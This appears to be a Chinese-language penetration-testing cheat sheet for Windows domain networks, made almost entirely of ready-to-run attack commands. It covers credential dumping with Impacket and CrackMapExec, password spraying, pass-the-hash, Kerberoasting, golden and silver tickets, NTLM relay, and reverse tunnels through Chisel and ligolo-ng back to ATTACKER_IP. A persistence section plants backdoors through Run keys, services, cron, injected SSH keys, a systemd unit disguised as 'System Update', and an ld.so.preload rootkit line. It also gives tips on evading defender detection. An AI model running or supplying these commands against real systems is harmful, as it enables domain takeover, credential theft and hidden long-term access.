内网渗透工具链
核心工具
| 工具 |
用途 |
| CrackMapExec (CME) |
内网瑞士军刀，SMB/WinRM/LDAP批量操作 |
| Evil-WinRM |
WinRM远程Shell |
| Chisel |
隧道/端口转发 |
| ligolo-ng |
反向代理隧道 |
| ProxyChains |
流量代理转发 |
| sshuttle |
SSH VPN隧道 |
| Responder |
LLMNR/NBT-NS/MDNS投毒 |
| ntlmrelayx |
NTLM中继 |
| BloodHound |
AD域路径分析 |
| Impacket |
Windows协议工具集 |
| Rubeus |
Kerberos攻击 |
| Mimikatz |
凭据提取 |
| pypykatz |
Python版Mimikatz |
| Certipy |
AD CS证书攻击 |
| PowerView |
AD枚举 |
| PsExec |
远程命令执行 |
1. Impacket — Windows协议工具集
安装
pip install impacket
常用工具
# SMB共享
smbclient.py user:pass@192.168.1.100
smbclient.py user:pass@192.168.1.100 -shares
# PsExec远程执行
psexec.py user:pass@192.168.1.100
psexec.py domain/user:pass@192.168.1.100
# WMI执行
wmiexec.py user:pass@192.168.1.100
# SMBExec(无文件落地)
smbexec.py user:pass@192.168.1.100
# AtExec(计划任务)
atexec.py user:pass@192.168.1.100 "whoami"
# DCSync导出域hash
secretsdump.py domain/user:pass@192.168.1.100
secretsdump.py -just-dc domain/user:pass@192.168.1.100
# Kerberos票据操作
getTGT.py domain/user:pass
getST.py -spn cifs/target.domain.com domain/user -impersonate administrator
# NTLM hash传递
psexec.py -hashes :NTHASH domain/user@192.168.1.100
wmiexec.py -hashes :NTHASH domain/user@192.168.1.100
# SMB服务器
smbserver.py share /tmp/share -smb2support
# LDAP查询
ldapdomaindump.py -u domain\\user -p pass ldap://192.168.1.100
2. CrackMapExec (CME) — 内网瑞士军刀
安装
pip install crackmapexec
# 或
pipx install crackmapexec
基本用法
# SMB扫描
cme smb 192.168.1.0/24
cme smb 192.168.1.0/24 -u user -p pass
cme smb 192.168.1.0/24 -u user -H :NTHASH # hash传递
# 枚举
cme smb 192.168.1.0/24 -u user -p pass --shares
cme smb 192.168.1.0/24 -u user -p pass --users
cme smb 192.168.1.0/24 -u user -p pass --groups
cme smb 192.168.1.0/24 -u user -p pass --pass-pol
cme smb 192.168.1.0/24 -u user -p pass --sessions
cme smb 192.168.1.0/24 -u user -p pass --loggedon-users
# 密码喷洒
cme smb 192.168.1.0/24 -u users.txt -p 'Password123!'
cme smb 192.168.1.0/24 -u user -p passwords.txt
# 执行命令
cme smb 192.168.1.100 -u user -p pass -x "whoami"
cme smb 192.168.1.100 -u user -p pass -X "Get-DomainUser" # PowerShell
# 凭据收集
cme smb 192.168.1.100 -u user -p pass --sam
cme smb 192.168.1.100 -u user -p pass --lsa
cme smb 192.168.1.100 -u user -p pass --ntds
# WinRM
cme winrm 192.168.1.100 -u user -p pass -x "whoami"
# LDAP
cme ldap 192.168.1.100 -u user -p pass --users
cme ldap 192.168.1.100 -u user -p pass --asreproast
cme ldap 192.168.1.100 -u user -p pass --kerberoasting
# MSSQL
cme mssql 192.168.1.100 -u user -p pass -q "SELECT @@version"
3. Evil-WinRM — WinRM Shell
安装
gem install evil-winrm
用法
# 基本连接
evil-winrm -i 192.168.1.100 -u user -p pass
# Hash传递
evil-winrm -i 192.168.1.100 -u user -H NTHASH
# 加载脚本/工具
evil-winrm -i 192.168.1.100 -u user -p pass -s /path/to/scripts/ -e /path/to/exes/
# 上传/下载
upload local_file.txt C:\\temp\\
download C:\\temp\\file.txt ./
# 在shell中
*Evil-WinRM* PS> Invoke-BloodHound -CollectionMethod All
*Evil-WinRM* PS> Invoke-Mimikatz
*Evil-WinRM* PS> menu # 查看内置命令
4. 隧道/代理
Chisel — 反向隧道
# 服务端(攻击机)
chisel server --reverse --port 8080
# 客户端(目标机)
chisel client ATTACKER_IP:8080 R:1080:127.0.0.1:1080
chisel client ATTACKER_IP:8080 R:socks
# 本地端口转发
chisel server --port 8080
chisel client ATTACKER_IP:8080 9090:192.168.1.100:3389
ligolo-ng — 反向代理
# 服务端(攻击机)
./proxy -selfcert
# 客户端(目标机)
./agent -connect ATTACKER_IP:11601 -ignore-cert
# 在ligolo中
>> session
>> ifconfig
>> start --tun ligolo0
# 添加路由
sudo ip route add 192.168.1.0/24 dev ligolo0
ProxyChains — 流量代理
sudo apt install proxychains4
# 配置 /etc/proxychains4.conf
# [ProxyList]
# socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 192.168.1.100
proxychains ssh user@192.168.1.100
proxychains curl http://192.168.1.100
sshuttle — SSH VPN
pip install sshuttle
# 通过SSH创建VPN
sshuttle -r user@jumphost 192.168.1.0/24
sshuttle -r user@jumphost 192.168.1.0/24 10.0.0.0/24
SSH端口转发
# 本地转发
ssh -L 8080:192.168.1.100:80 user@jumphost
# 远程转发
ssh -R 8080:localhost:80 user@attacker
# 动态转发(SOCKS)
ssh -D 1080 user@jumphost
# 后台运行
ssh -fN -D 1080 user@jumphost
5. Responder + NTLM中继
Responder — LLMNR投毒
sudo apt install responder
# 监听并捕获hash
sudo responder -I eth0 -wrf
# 捕获到的hash保存在 /usr/share/responder/logs/
# 用hashcat破解
hashcat -m 5600 captured_hash.txt wordlist.txt
ntlmrelayx — NTLM中继
# 中继到SMB
ntlmrelayx.py -t 192.168.1.100 -smb2support
# 中继到LDAP(域控)
ntlmrelayx.py -t ldap://192.168.1.1 --escalate-user attacker
# 中继到HTTP
ntlmrelayx.py -t http://192.168.1.100
# 配合Responder
# Responder.conf: SMB=Off, HTTP=Off
# 然后运行ntlmrelayx
6. AD域攻击
BloodHound — 域路径分析
# 安装SharpHound(Windows端)
# 或用Python版
pip install bloodhound
bloodhound-python -u user -p pass -d domain.com -dc dc.domain.com -c All
# 导入Neo4j
# 启动 neo4j
# 打开BloodHound GUI导入数据
Kerberos攻击
# AS-REP Roasting(无需密码)
GetNPUsers.py domain.com/ -usersfile users.txt -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt wordlist.txt
# Kerberoasting
GetUserSPNs.py domain.com/user:pass -request -outputfile tgs.txt
hashcat -m 13100 tgs.txt wordlist.txt
# Silver Ticket
ticketer.py -nthash NTHASH -domain-sid S-1-5-21-... -domain domain.com -spn cifs/target user
# Golden Ticket
ticketer.py -nthash krbtgt_NTHASH -domain-sid S-1-5-21-... -domain domain.com administrator
# Unconstrained Delegation
# 用Rubeus监控
Rubeus.exe monitor /interval:5
AD CS (证书服务)
# Certipy
certipy find -u user@domain.com -p pass -dc-ip 192.168.1.1
certipy req -u user@domain.com -p pass -ca CA_NAME -template VulnerableTemplate
certipy auth -pfx administrator.pfx
7. 权限维持
Windows
# 注册表
reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v backdoor /d "C:\\temp\\shell.exe"
# 计划任务
schtasks /create /tn "Update" /tr "C:\\temp\\shell.exe" /sc onlogon
# 服务
sc create backdoor binpath= "C:\\temp\\shell.exe" start= auto
# 启动项
copy shell.exe "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"
# WMI事件订阅
# PowerShell
$filter = Set-WmiInstance -Namespace "root\\subscription" -Class __EventFilter -Arguments @{Name="backdoor"; EventNamespace="root\\cimv2"; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"}
Linux
# Crontab
(crontab -l; echo "*/5 * * * * /tmp/.backdoor") | crontab
# SSH密钥
echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
# Systemd服务
cat > /etc/systemd/system/backdoor.service << 'EOF'
[Unit]
Description=System Update
[Service]
ExecStart=/tmp/.backdoor
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable backdoor
# .bashrc
echo "/tmp/.backdoor &" >> ~/.bashrc
# LD_PRELOAD
echo "/tmp/.rootkit.so" > /etc/ld.so.preload
8. 横向移动流程
1. 信息收集
├── CME枚举域内主机/用户/组
├── BloodHound分析域路径
└── Responder捕获hash
2. 凭据获取
├── Mimikatz/pypykatz提取密码
├── SAM/NTDS.dit导出hash
├── Kerberoasting/AS-REP Roasting
└── AD CS证书攻击
3. 横向移动
├── Pass-the-Hash (CME/Impacket)
├── Pass-the-Ticket (Rubeus)
├── Over-Pass-the-Hash
├── NTLM Relay
└── WinRM/PSExec/WMI
4. 权限维持
├── 注册表/计划任务/服务
├── SSH密钥
├── Golden/Silver Ticket
└── DCSync + krbtgt hash
Pitfalls
- CME需要域凭据 — 无凭据只能做空会话枚举
- ProxyChains只支持TCP — UDP不支持
- Chisel端口转发注意方向 — R=远程转发，无R=本地转发
- Responder在生产环境慎用 — 会影响域内正常解析
- BloodHound需要Neo4j — 记得启动neo4j服务
- Pass-the-Hash只对NTLM有效 — Kerberos需要ticket
- Golden Ticket需要krbtgt hash — 必须先拿到域控权限
- 隧道流量注意检测 — 蓝队会监控异常出站流量
aivos-xie